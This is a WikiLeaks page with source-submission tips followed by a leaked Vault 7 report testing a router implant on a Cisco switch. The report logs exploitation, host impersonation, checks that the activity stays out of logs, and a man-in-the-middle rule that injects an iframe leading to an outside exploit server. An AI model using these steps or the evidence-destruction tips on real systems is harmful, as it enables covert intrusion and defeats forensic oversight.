This key's fingerprint is A04C 5E09 ED02 B328 03EB 6116 93ED 732E 9231 8DBA

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQQNBFUoCGgBIADFLp+QonWyK8L6SPsNrnhwgfCxCk6OUHRIHReAsgAUXegpfg0b
rsoHbeI5W9s5to/MUGwULHj59M6AvT+DS5rmrThgrND8Dt0dO+XW88bmTXHsFg9K
jgf1wUpTLq73iWnSBo1m1Z14BmvkROG6M7+vQneCXBFOyFZxWdUSQ15vdzjr4yPR
oMZjxCIFxe+QL+pNpkXd/St2b6UxiKB9HT9CXaezXrjbRgIzCeV6a5TFfcnhncpO
ve59rGK3/az7cmjd6cOFo1Iw0J63TGBxDmDTZ0H3ecQvwDnzQSbgepiqbx4VoNmH
OxpInVNv3AAluIJqN7RbPeWrkohh3EQ1j+lnYGMhBktX0gAyyYSrkAEKmaP6Kk4j
/ZNkniw5iqMBY+v/yKW4LCmtLfe32kYs5OdreUpSv5zWvgL9sZ+4962YNKtnaBK3
1hztlJ+xwhqalOCeUYgc0Clbkw+sgqFVnmw5lP4/fQNGxqCO7Tdy6pswmBZlOkmH
XXfti6hasVCjT1MhemI7KwOmz/KzZqRlzgg5ibCzftt2GBcV3a1+i357YB5/3wXE
j0vkd+SzFioqdq5Ppr+//IK3WX0jzWS3N5Lxw31q8fqfWZyKJPFbAvHlJ5ez7wKA
1iS9krDfnysv0BUHf8elizydmsrPWN944Flw1tOFjW46j4uAxSbRBp284wiFmV8N
TeQjBI8Ku8NtRDleriV3djATCg2SSNsDhNxSlOnPTM5U1bmh+Ehk8eHE3hgn9lRp
2kkpwafD9pXaqNWJMpD4Amk60L3N+yUrbFWERwncrk3DpGmdzge/tl/UBldPoOeK
p3shjXMdpSIqlwlB47Xdml3Cd8HkUz8r05xqJ4DutzT00ouP49W4jqjWU9bTuM48
LRhrOpjvp5uPu0aIyt4BZgpce5QGLwXONTRX+bsTyEFEN3EO6XLeLFJb2jhddj7O
DmluDPN9aj639E4vjGZ90Vpz4HpN7JULSzsnk+ZkEf2XnliRody3SwqyREjrEBui
9ktbd0hAeahKuwia0zHyo5+1BjXt3UHiM5fQN93GB0hkXaKUarZ99d7XciTzFtye
/MWToGTYJq9bM/qWAGO1RmYgNr+gSF/fQBzHeSbRN5tbJKz6oG4NuGCRJGB2aeXW
TIp/VdouS5I9jFLapzaQUvtdmpaeslIos7gY6TZxWO06Q7AaINgr+SBUvvrff/Nl
l2PRPYYye35MDs0b+mI5IXpjUuBC+s59gI6YlPqOHXkKFNbI3VxuYB0VJJIrGqIu
Fv2CXwy5HvR3eIOZ2jLAfsHmTEJhriPJ1sUG0qlfNOQGMIGw9jSiy/iQde1u3ZoF
so7sXlmBLck9zRMEWRJoI/mgCDEpWqLX7hTTABEBAAG0x1dpa2lMZWFrcyBFZGl0
b3JpYWwgT2ZmaWNlIEhpZ2ggU2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBLZXkgKFlv
dSBjYW4gY29udGFjdCBXaWtpTGVha3MgYXQgaHR0cDovL3dsY2hhdGMzcGp3cGxp
NXIub25pb24gYW5kIGh0dHBzOi8vd2lraWxlYWtzLm9yZy90YWxrKSA8Y29udGFj
dC11cy11c2luZy1vdXItY2hhdC1zeXN0ZW1Ad2lraWxlYWtzLm9yZz6JBD0EEwEK
ACcCGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AFAlb6cdIFCQOznOoACgkQk+1z
LpIxjbrlqh/7B2yBrryWhQMGFj+xr9TIj32vgUIMohq94XYqAjOnYdEGhb5u5B5p
BNowcqdFB1SOEvX7MhxGAqYocMT7zz2AkG3kpf9f7gOAG7qA1sRiB+R7mZtUr9Kv
fQSsRFPb6RNzqqB9I9wPNGhBh1YWusUPluLINwbjTMnHXeL96HgdLT+fIBa8ROmn
0fjJVoWYHG8QtsKiZ+lo2m/J4HyuJanAYPgL6isSu/1bBSwhEIehlQIfXZuS3j35
12SsO1Zj2BBdgUIrADdMAMLneTs7oc1/PwxWYQ4OTdkay2deg1g/N6YqM2N7rn1W
7A6tmuH7dfMlhcqw8bf5veyag3RpKHGcm7utDB6k/bMBDMnKazUnM2VQoi1mutHj
kTCWn/vF1RVz3XbcPH94gbKxcuBi8cjXmSWNZxEBsbirj/CNmsM32Ikm+WIhBvi3
1mWvcArC3JSUon8RRXype4ESpwEQZd6zsrbhgH4UqF56pcFT2ubnqKu4wtgOECsw
K0dHyNEiOM1lL919wWDXH9tuQXWTzGsUznktw0cJbBVY1dGxVtGZJDPqEGatvmiR
o+UmLKWyxTScBm5o3zRm3iyU10d4gka0dxsSQMl1BRD3G6b+NvnBEsV/+KCjxqLU
vhDNup1AsJ1OhyqPydj5uyiWZCxlXWQPk4p5WWrGZdBDduxiZ2FTj17hu8S4a5A4
lpTSoZ/nVjUUl7EfvhQCd5G0hneryhwqclVfAhg0xqUUi2nHWg19npPkwZM7Me/3
+ey7svRUqxVTKbXffSOkJTMLUWqZWc087hL98X5rfi1E6CpBO0zmHeJgZva+PEQ/
ZKKi8oTzHZ8NNlf1qOfGAPitaEn/HpKGBsDBtE2te8PF1v8LBCea/d5+Umh0GELh
5eTq4j3eJPQrTN1znyzpBYkR19/D/Jr5j4Vuow5wEE28JJX1TPi6VBMevx1oHBuG
qsvHNuaDdZ4F6IJTm1ZYBVWQhLbcTginCtv1sadct4Hmx6hklAwQN6VVa7GLOvnY
RYfPR2QA3fGJSUOg8xq9HqVDvmQtmP02p2XklGOyvvfQxCKhLqKi0hV9xYUyu5dk
2L/A8gzA0+GIN+IYPMsf3G7aDu0qgGpi5Cy9xYdJWWW0DA5JRJc4/FBSN7xBNsW4
eOMxl8PITUs9GhOcc68Pvwyv4vvTZObpUjZANLquk7t8joky4Tyog29KYSdhQhne
oVODrdhTqTPn7rjvnwGyjLInV2g3pKw/Vsrd6xKogmE8XOeR8Oqk6nun+Y588Nsj
XddctWndZ32dvkjrouUAC9z2t6VE36LSyYJUZcC2nTg6Uir+KUTs/9RHfrvFsdI7
iMucdGjHYlKc4+YwTdMivI1NPUKo/5lnCbkEDQRVKAhoASAAvnuOR+xLqgQ6KSOO
RTkhMTYCiHbEsPmrTfNA9VIip+3OIzByNYtfFvOWY2zBh3H2pgf+2CCrWw3WqeaY
wAp9zQb//rEmhwJwtkW/KXDQr1k95D5gzPeCK9R0yMPfjDI5nLeSvj00nFF+gjPo
Y9Qb10jp/Llqy1z35Ub9ZXuA8ML9nidkE26KjG8FvWIzW8zTTYA5Ezc7U+8HqGZH
VsK5KjIO2GOnJiMIly9MdhawS2IXhHTV54FhvZPKdyZUQTxkwH2/8QbBIBv0OnFY
3w75Pamy52nAzI7uOPOU12QIwVj4raLC+DIOhy7bYf9pEJfRtKoor0RyLnYZTT3N
0H4AT2YeTra17uxeTnI02lS2Jeg0mtY45jRCU7MrZsrpcbQ464I+F411+AxI3NG3
cFNJOJO2HUMTa+2PLWa3cERYM6ByP60362co7cpZoCHyhSvGppZyH0qeX+BU1oyn
5XhT+m7hA4zupWAdeKbOaLPdzMu2Jp1/QVao5GQ8kdSt0n5fqrRopO1WJ/S1eoz+
Ydy3dCEYK+2zKsZ3XeSC7MMpGrzanh4pk1DLr/NMsM5L5eeVsAIBlaJGs75Mp+kr
ClQL/oxiD4XhmJ7MlZ9+5d/o8maV2K2pelDcfcW58tHm3rHwhmNDxh+0t5++i30y
BIa3gYHtZrVZ3yFstp2Ao8FtXe/1ALvwE4BRalkh+ZavIFcqRpiF+YvNZ0JJF52V
rwL1gsSGPsUY6vsVzhpEnoA+cJGzxlor5uQQmEoZmfxgoXKfRC69si0ReoFtfWYK
8Wu9sVQZW1dU6PgBB30X/b0Sw8hEzS0cpymyBXy8g+itdi0NicEeWHFKEsXa+HT7
mjQrMS7c84Hzx7ZOH6TpX2hkdl8Nc4vrjF4iff1+sUXj8xDqedrg29TseHCtnCVF
kfRBvdH2CKAkbgi9Xiv4RqAP9vjOtdYnj7CIG9uccek/iu/bCt1y/MyoMU3tqmSJ
c8QeA1L+HENQ/HsiErFGug+Q4Q1SuakHSHqBLS4TKuC+KO7tSwXwHFlFp47GicHe
rnM4v4rdgKic0Z6lR3QpwoT9KwzOoyzyNlnM9wwnalCLwPcGKpjVPFg1t6F+eQUw
WVewkizhF1sZBbED5O/+tgwPaD26KCNuofdVM+oIzVPOqQXWbaCXisNYXoktH3Tb
0X/DjsIeN4TVruxKGy5QXrvo969AQNx8Yb82BWvSYhJaXX4bhbK0pBIT9fq08d5R
IiaN7/nFU3vavXa+ouesiD0cnXSFVIRiPETCKl45VM+f3rRHtNmfdWVodyXJ1O6T
ZjQTB9ILcfcb6XkvH+liuUIppINu5P6i2CqzRLAvbHGunjvKLGLfvIlvMH1mDqxp
VGvNPwARAQABiQQlBBgBCgAPAhsMBQJW+nHeBQkDs5z2AAoJEJPtcy6SMY26Qtgf
/0tXRbwVOBzZ4fI5NKSW6k5A6cXzbB3JUxTHMDIZ93CbY8GvRqiYpzhaJVjNt2+9
zFHBHSfdbZBRKX8N9h1+ihxByvHncrTwiQ9zFi0FsrJYk9z/F+iwmqedyLyxhIEm
SHtWiPg6AdUM5pLu8GR7tRHagz8eGiwVar8pZo82xhowIjpiQr0Bc2mIAusRs+9L
jc+gjwjbhYIg2r2r9BUBGuERU1A0IB5Fx+IomRtcfVcL/JXSmXqXnO8+/aPwpBuk
bw8sAivSbBlEu87P9OovsuEKxh/PJ65duQNjC+2YxlVcF03QFlFLGzZFN7Fcv5JW
lYNeCOOz9NP9TTsR2EAZnacNk75/FYwJSJnSblCBre9xVA9pI5hxb4zu7CxRXuWc
QJs8Qrvdo9k4Jilx5U9X0dsiNH2swsTM6T1gyVKKQhf5XVCS4bPWYagXcfD9/xZE
eAhkFcAuJ9xz6XacT9j1pw50MEwZbwDneV93TqvHmgmSIFZow1aU5ACp+N/ksT6E
1wrWsaIJjsOHK5RZj/8/2HiBftjXscmL3K8k6MbDI8P9zvcMJSXbPpcYrffw9A6t
ka9skmLKKFCcsNJ0coLLB+mw9DVQGc2dPWPhPgtYZLwG5tInS2bkdv67qJ4lYsRM
jRCW5xzlUZYk6SWD4KKbBQoHbNO0Au8Pe/N1SpYYtpdhFht9fGmtEHNOGPXYgNLq
VTLgRFk44Dr4hJj5I1+d0BLjVkf6U8b2bN5PcOnVH4Mb+xaGQjqqufAMD/IFO4Ro
TjwKiw49pJYUiZbw9UGaV3wmg+fue9To1VKxGJuLIGhRXhw6ujGnk/CktIkidRd3
5pAoY5L4ISnZD8Z0mnGlWOgLmQ3IgNjAyUzVJRhDB5rVQeC6qX4r4E1xjYMJSxdz
Aqrk25Y//eAkdkeiTWqbXDMkdQtig2rY+v8GGeV0v09NKiT+6extebxTaWH4hAgU
FR6yq6FHs8mSEKC6Cw6lqKxOn6pwqVuXmR4wzpqCoaajQVz1hOgD+8QuuKVCcTb1
4IXXpeQBc3EHfXJx2BWbUpyCgBOMtvtjDhLtv5p+4XN55GqY+ocYgAhNMSK34AYD
AhqQTpgHAX0nZ2SpxfLr/LDN24kXCmnFipqgtE6tstKNiKwAZdQBzJJlyYVpSk93
6HrYTZiBDJk4jDBh6jAx+IZCiv0rLXBM6QxQWBzbc2AxDDBqNbea2toBSww8HvHf
hQV/G86Zis/rDOSqLT7e794ezD9RYPv55525zeCk3IKauaW5+WqbKlwosAPIMW2S
kFODIRd5oMI51eof+ElmB5V5T9lw0CHdltSM/hmYmp/5YotSyHUmk91GDFgkOFUc
J3x7gtxUMkTadELqwY6hrU8=
=BLTH
-----END PGP PUBLIC KEY BLOCK-----
		

Contact

If you need help using Tor you can contact WikiLeaks for assistance in setting it up using our simple webchat available at: https://wikileaks.org/talk

If you can use Tor, but need to contact WikiLeaks for other reasons use our secured webchat available at http://wlchatc3pjwpli5r.onion

We recommend contacting us over Tor if you can.

Tor

Tor is an encrypted anonymising network that makes it harder to intercept internet communications, or see where communications are coming from or going to.

In order to use the WikiLeaks public submission system as detailed above you can download the Tor Browser Bundle, which is a Firefox-like browser available for Windows, Mac OS X and GNU/Linux and pre-configured to connect using the anonymising system Tor.

Tails

If you are at high risk and you have the capacity to do so, you can also access the submission system through a secure operating system called Tails. Tails is an operating system launched from a USB stick or a DVD that aim to leaves no traces when the computer is shut down after use and automatically routes your internet traffic through Tor. Tails will require you to have either a USB stick or a DVD at least 4GB big and a laptop or desktop computer.

Tips

Our submission system works hard to preserve your anonymity, but we recommend you also take some of your own precautions. Please review these basic guidelines.

1. Contact us if you have specific problems

If you have a very large submission, or a submission with a complex format, or are a high-risk source, please contact us. In our experience it is always possible to find a custom solution for even the most seemingly difficult situations.

2. What computer to use

If the computer you are uploading from could subsequently be audited in an investigation, consider using a computer that is not easily tied to you. Technical users can also use Tails to help ensure you do not leave any records of your submission on the computer.

3. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

After

1. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

2. Act normal

If you are a high-risk source, avoid saying anything or doing anything after submitting which might promote suspicion. In particular, you should try to stick to your normal routine and behaviour.

3. Remove traces of your submission

If you are a high-risk source and the computer you prepared your submission on, or uploaded it from, could subsequently be audited in an investigation, we recommend that you format and dispose of the computer hard drive and any other storage media you used.

In particular, hard drives retain data after formatting which may be visible to a digital forensics team and flash media (USB sticks, memory cards and SSD drives) retain data even after a secure erasure. If you used flash media to store sensitive data, it is important to destroy the media.

If you do this and are a high-risk source you should make sure there are no traces of the clean-up, since such traces themselves may draw suspicion.

4. If you face legal action

If a legal action is brought against you as a result of your submission, there are organisations that may help you. The Courage Foundation is an international organisation dedicated to the protection of journalistic sources. You can find more details at https://www.couragefound.org.

WikiLeaks publishes documents of political or historical importance that are censored or otherwise suppressed. We specialise in strategic global publishing and large archives.

The following is the address of our secure site where you can anonymously upload your documents to WikiLeaks editors. You can only access this submissions system through Tor. (See our Tor tab for more information.) We also advise you to read our tips for sources before submitting.

wlupld3ptjvsgwqw.onion
Copy this address into your Tor browser. Advanced users, if they wish, can also add a further layer of encryption to their submission using our public PGP key.

If you cannot use Tor, or your submission is very large, or you have specific requirements, WikiLeaks provides several alternative methods. Contact us to discuss how to proceed.

Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version


Owner: User #71467

Cytolysis-1h HG v3.1.6 Delivery

HG v3.1.6 was delivered for Cytolysis on 1/12/16 for SUP720.  Testing scope will include ACE, SMITE and Tunnel.

CONOP will be:

  • Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 admin mgmt subnet - and IACInternational Access Code attack VLANVirtual Local Area Network 1 IP of target - XXX.XXX.X.XXX (TOPWAY-NET[CN])
  • Trigger port will be UDPUser Datagram Protocol 161, host to impersonate will be explicitly set to a host not on VLANVirtual Local Area Network 10 or VLANVirtual Local Area Network 2
  • Establish CTCounter Terrorism session over HTTPSHypertext Transfer Protocol Secure back through flux node 4
  • Use ACEApplication Control Engine (Module) commands to verify state of the device
  • Use socket get_arp_survey_data and output of "show ip nat trans" to survey traffic from VLANVirtual Local Area Network 19
  • SMITE hosts on target customer network - VLANVirtual Local Area Network 19
  • Use Tunnel to appear as if Operator is on VLANVirtual Local Area Network other than VLANVirtual Local Area Network 19 or VLANVirtual Local Area Network 2, and from there, nmap VLANVirtual Local Area Network 19.

Testing Summary

  • Note in test report that module 2 is in state PwrDown and should be verified before proceeding
  • Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161.  If trigger packets have incorrect sequence number, an encoding error will increment as shown in output of "show snmp".
  • Comms packets are SSLv3 - need to consider if this is noticeable on this network
  • Hardware difference between test device and target - daughter card on 4 port 10G line card.  This hardware difference has been accepted.
  • 5 sec CPU spikes to 45-65% during IACInternational Access Code attack, spike to 27% during HG install
  • HG Consumes ~3.5M of Memory, visible in output out show mem
  • Operator must manually start CovertTunnel module to use the tunnel capability
  • Assists cause observeable in ouput of show ip cef <IP> - this is a known issue.
  • Observed the following print even without HG installed when using Windex to exploit a target client:
    Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
  • Tunnel - Given the sensitivity to sending trigger packets with incorrect sequence number on this op, recommend using tun init to establish CovertTunnel instead of trigger.
  • Tunnel - When running nmap or otherwise targeting VLANVirtual Local Area Network 19 from TAPVirtual Network kernel device IP, EXCLUDE 10.11.0.1 (VLANVirtual Local Area Network 19 interface IP) as this will result in acl denied log prints to console for this traffic.

Testing Notes

  1. Install
    -Memory at start of test:
    cytolysis-1#show mem
    Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
    Processor 453ACAF0 381990160 101796608 280193552 276504440 218810732
    I/O 8000000 67108864 13902404 53206460 53130184 53130428

    -attacked with IACInternational Access Code via flux
    -CPU hit a peak of 56% during IACInternational Access Code attack
    -Uploaded HG - show mem after install
    cytolysis-1#show mem
    Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
    Processor 453ACAF0 381990160 105273148 276717012 275964416 216779752
    I/O 8000000 67108864 13902404 53206460 53130184 53130428

    CPU hit one peak of 15% during install
    Used an interpacket delay of .1 for remote

    -Seeds traffic has been running
    -Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
    -success! confirmed that XXX.XXX.X.XX (TOPWAY-NET[CN]) can still browse
    [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
    [Success]
    Maximum Packets Per Second: 1500
    Number of Packets Counted Per Sample: 3000
    Highest Observed Packets Per Second: 173
    Number of Overflows Since Settings Last Changed: 0
    Time of Last Overflow: --
    ************ Success ************
    [packet get_assist_threshold_status]
    -no log messages or snmp traps observed, cpu normal
    *will want to impersonate a host that is not very busy, since an assist will be laid down for that host
    cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
    XXX.XXX.X.XX (TOPWAY-NET[CN])/32
    receive
    cytolysis-1#
    -Quit the CTCounter Terrorism session and confirmed that after about 10 seconds, the RAA dropped:
    cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
    XXX.XXX.X.XX (TOPWAY-NET[CN])/32
    attached to Vlan3
    cytolysis-1#

  2. Uninstall

    -Re-established CTCounter Terrorism session, this time impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]). No seeds currently running on that host.
    -Entered device uninstall-hg -mp -f to uninstall HG
    -no syslog or snmp trap observed
    -CPU from device after uninstall
    cytolysis-1# show proc cpu hist


    22222 44444 1111144444
    100
    90
    80
    70
    60
    50
    40
    30
    20
    10
    0....5....1....1....2....2....3....3....4....4....5....5....
    0 5 0 5 0 5 0 5 0 5
    CPU% per second (last 60 seconds)

    1 1 1 1 1 1 1
    0565955565466568566596566691570777976644965686666586545555
    100
    90
    80
    70
    60
    50
    40
    30
    20 * * *
    10 ************************************** ************* ****
    0....5....1....1....2....2....3....3....4....4....5....5....
    0 5 0 5 0 5 0 5 0 5
    CPU% per minute (last 60 minutes)
    * = maximum CPU% # = average CPU%

    521121211212212111212222211242112111211112122
    606719379081263898081510099121890987289981916
    100
    90
    80
    70
    60 *
    50 *
    40 * *
    30 * * * *
    20 *********************************************
    10 *********************************************
    0....5....1....1....2....2....3....3....4....4....5....5....6....6....7.
    0 5 0 5 0 5 0 5 0 5 0 5 0
    CPU% per hour (last 72 hours)
    * = maximum CPU% # = average CPU%

    cytolysis-1#
    cytolysis-1#show mem
    Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
    Processor 453ACAF0 381990160 101863176 280126984 275964416 218810732
    I/O 8000000 67108864 13902404 53206460 53130184 53130428

    RAA for impsonated host from CTCounter Terrorism session has dropped

    cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
    XXX.XXX.X.XX (TOPWAY-NET[CN])/32
    attached to Vlan3
    cytolysis-1#

  3. Modularity

    -Reloaded DUTDevice Under Test to start with a clean device
    -Flux nodes up, Seeds running on VLANVirtual Local Area Network 19
    -IAC attacked and uploaded HG
    -Established CTCounter Terrorism connection with XXX.XXX.X.XX (TOPWAY-NET[CN]) as impersonated host, no punch-throughs of traffic to impersonated host
    -Confirmed that impersonated host is still able to browse, did not observe any syslogs or traps sent by DUT
    -Stop/Start/Restarted ACEApplication Control Engine (Module) module - verified functionality after each start
    -Testing FB modularity and functionality with smite. Started up Victim3 VMVirtual Machine and web browsed with no rules active and saw the following print:

    Jan 19 19:03:08.193 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(2213), 1 packetC
    - Added a rule for SMITE and saw the following
    cytolysis-1#show ip cef 10.11.0.13
    10.11.0.13/32
    attached to Vlan19
    cytolysis-1#
    Jan 19 19:09:02.877 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(2213), 6 packets
    -successfully SMITE'd 3 more times with no prints
    -restarting FB
    -no rules active, browsed from victim, cleared cache and went to all 3 web servers 10x, no prints
    -activated SMITE rule and ran 7 times - then saw the following prints:

    Jan 19 20:02:55.049 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
    Jan 19 20:08:04.769 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 7 packets
    Jan 19 20:09:04.801 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 3 packets
    Jan 19 20:13:04.929 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 2 packets
    Jan 19 20:18:05.093 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 3 packetsC

  4. Testing SMITE
    1. Starting over with Debian 8.2.  Installed ICON on TR, setup flux, cleaned DUT
    2. Restarted Victim 3 - web browsed 15 times to all three web servers and observed no prints
    3. Web browsed directly to iframe url 15 times and observed no prints
    4. Attacked with IACInternational Access Code and uploaded HG from new ICON 8.2 VMVirtual Machine - impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
    5. Restarted victim 3.  web browsed 15 times to all three web servers - no prints observed
    6. Web browsed directly to iframe url 15 times in a row - after the 10th try, observed the following:

      cytolysis-1#
      Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet

    7. cytolysis-1#show access-list Customer-2-filter-in
      Extended IP access list Customer-2-filter-in
      10 permit tcp 10.11.0.0 0.0.0.255 host XXX.XXX.X.XX (TOPWAY-NET[CN]) eq 123
      20 permit udp 10.11.0.0 0.0.0.255 host XXX.XXX.X.XX (TOPWAY-NET[CN]) eq ntp
      30 permit icmp any host 10.11.0.1 (5870 matches)
      40 deny ip any 10.11.0.0 0.0.0.255 log-input
      50 permit icmp any host XXX.XXX.X.XX (TOPWAY-NET[CN])
      60 permit icmp any host XXX.XXX.X.XXX (TOPWAY-NET[CN])
      70 permit icmp any host XXX.XXX.X.XX (TOPWAY-NET[CN])
      80 permit icmp any host XXX.XXX.X.XXX (TOPWAY-NET[CN])
      90 deny ip any host XXX.XXX.X.XX (TOPWAY-NET[CN]) log-input
      100 deny ip any XXX.XXX.X.XX (TOPWAY-NET[CN]) 0.0.0.31 log-input
      110 deny ip any host XXX.XXX.X.XX (TOPWAY-NET[CN]) log-input
      120 deny ip any host XXX.XXX.X.XXX (TOPWAY-NET[CN]) log-input
      130 permit tcp 10.11.0.0 0.0.0.255 any eq smtp log-input
      140 permit tcp 10.11.0.0 0.0.0.255 any eq 135 log-input
      150 permit tcp 10.11.0.0 0.0.0.255 any eq 137 log-input
      160 permit tcp 10.11.0.0 0.0.0.255 any eq 139 log-input
      170 permit ip 10.11.0.0 0.0.0.255 any (22022 matches)
      180 deny ip any any log-input (1 match)
      cytolysis-1#

  5. Characterization of print observed while browsing to windex server
    1. Collecting VLANVirtual Local Area Network 19 packet capture during print message
    2. set logging interval and threshold on DUTDevice Under Test so that logs will be seen immediately
    3. Set up span port for vlan 2 and vlan 19 on DUTDevice Under Test and collecting on the DC from g1/1
    4. Stopped the seeds traffic from cust2 to minimize output in wireshark
    5. Ran manual browses from target client to iframe url - took about ten tries, but I got the print and saved off the information that xetron had requested.
    6. Wiping HG, reload DUT, reload target.  Going to confirm once more that I really never get this print without HG by trying more times.
    7. Performed 30 browses to iframe url and no print.  Also browsed at least 30 times to other three web servers, no print
    8. Added HG, still no seeds, no CTCounter Terrorism session.  Repeating step g.  Observed print on the 24th iteration:

      Jan 22 00:22:01.499 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1262) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet

    9. Going to see if this occurs more during SMITE rule

    10. Established CTCounter Terrorism session and created smite rule:

      mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -bk -bc -en

    11. Observed prints with SMITE rule active as well at about the same rate

    12. Uninstalled and rebooted DUT
    13. Installed original version of delivery 3.1.5.
    14. Also working in installing newest version of windex in TR
    15. Was able to browse to iframe url 30 times from client wiht v3.1.5 and saw no prints.  however overnight, i had left the browser window open and windex session connected and at 4am, the router did log some messages:
    16. Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
      Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
      Jan 22 04:42:50.120 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet
      Jan 22 04:42:51.636 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet

    17. After attempting another 30 times without HG, I did reproduce the error message without HG.  This may just be a Windex/IOS NATNetwork Address Translation issue.  Hopefully this issue will be resolved in the newer version of Windex.
  6. Testing Modularity
    1. Reloaded DUT
    2. CPU spike to 66% during IACInternational Access Code attack, 27% duing IACInternational Access Code install, 11% duing CTCounter Terrorism session establishment
    3. Already tested FB and ACEApplication Control Engine (Module) in previous test 3
    4. Testing Tunnel - Note that Tunnel module is not started by default.  Operator will have to start Tunnel module with "module start CovertTunnel.mod" command
    5. Started tunnel mod.  Then stopped it with module stop Tunnel.  Repeated three more times.
    6. Was unable to restart it at first, but after enough time passed and i entered ilm refresh, it did restart successfully.  no syslogs or traps observed, no impact to CPU.
  7. HTTPS Comms testing
    1. Testing the functionality of impersonating different hosts
      1. impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) - successful connection.  RAA laid down.  Confirmed that host is still able to browse.  No syslogs or traps.
      2. Exited that session and impersonated another host - XXX.XXX.X.XX (TOPWAY-NET[CN]) - this IP is on the VLANVirtual Local Area Network interface - vlan 3 for customer 1.  Successfully connected, rx adj in place for .81, however it is always in place.  Can ping from router to 1.1.1.1 with source address of XXX.XXX.X.XX (TOPWAY-NET[CN]).  Packet assist threshold not increasing with small amount of traffic.
      3. Collected wireshark of HTTPSHypertext Transfer Protocol Secure comms establishment
      4. Tested impersonation of a host on a different vlan - tried vlan 2 10.11.0.10 although this is not recommeded - cx successful and was still able to browse from 10.11.0.10.  Observed these prints though

        Jan 29 00:48:33.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet
        Jan 29 00:48:34.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet

